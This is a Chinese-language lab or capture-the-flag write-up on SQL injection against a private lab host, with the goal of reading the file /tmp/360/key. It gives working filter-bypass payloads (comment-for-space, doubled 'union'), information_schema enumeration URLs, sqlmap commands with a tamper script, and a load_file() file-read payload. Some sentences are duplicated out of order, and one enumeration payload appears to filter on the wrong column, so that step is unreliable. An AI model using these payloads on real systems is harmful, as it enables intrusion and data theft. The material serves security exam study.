SQL注入题型（手工注入+sqlmap）

题目：通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件

首先进行手工注入（用’以及and或者or来进行查看是否可以进行手工注入）

用sqlmap工具进行注入:(-u指定注入的网站链接,--tamper指定防止过滤关键字符,例如空格、union)

发现并没有要找的数据，回归题目：通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。

首先进行手工注入（用’以及and或者or来进行查看是否可以进行手工注入）

可以看到id=1的回显页面,结合回显语句发现该页面屏蔽了union、<?php?>、空格

所以：

用/**/来显示空格
用union双写绕过

输入url：http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')#

执行语句为：select * from article where id= ('1')#')

去order by查字段、判断只有4个字段

http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/4#

显示回显页面

http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/5#

不显示回显页面

然后用union联合注入查询：

http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1')/**/uniunionon/**/select/**/1,2,3,4#

进行爆表与爆库以及字段：（group_concat()函数：把分行的字段内容都显示为一行）

1、select group_concat(table_name) from information_schema.tables where table_schema=database()

爆表名：

http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1%27)/**/uniunionon/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),4%23

数据库：information_schema

表：tables

字段：table_name

2、select group_concat(column_name) from information_schema.columns where table_name='表名'

爆字段：

http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1%27)/**/uniunionon/**/select/**/1,2,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/column_name=%27article%27),4%23

数据库：infomation_schema

表：columns

字段：column_name

可以推断出：

当前数据库`2web`
当前表article
article字段有id,title,content,author

用sqlmap工具进行注入:(-u指定注入的网站链接,--tamper指定防止过滤关键字符,例如空格、union)

python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\资料\CISP-PTE\工具包\注入工具\sqlmap\tamper\space2comment.py"

注入类型为：boolean-based blind、time-based blind

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1') AND 1028=1028 AND ('OXUg'='OXUgType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1') AND (SELECT 7895 FROM (SELECT(SLEEP(5)))sSoM) AND ('YhuC'='YhuC
---

列出数据库：

python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\资料\CISP-PTE\工具包\注入工具\sqlmap\tamper\space2comment.py" --dbs

列出`2web`数据库中的表

python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\资料\CISP-PTE\工具包\注入工具\sqlmap\tamper\space2comment.py" -D `2web` --tables

列出`2web`数据库的article表中的内容：

python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\资料\CISP-PTE\工具包\注入工具\sqlmap\tamper\space2comment.py" -D `2web` -T article --dump

发现并没有要找的数据，回归题目：通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。

已知文件的绝对路径，直接去进行load_file()函数查看本地文件

http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1')/**/uniunionon/**/select/**/1,2,load_file('/tmp/360/key'),4#

最终找到了key8的值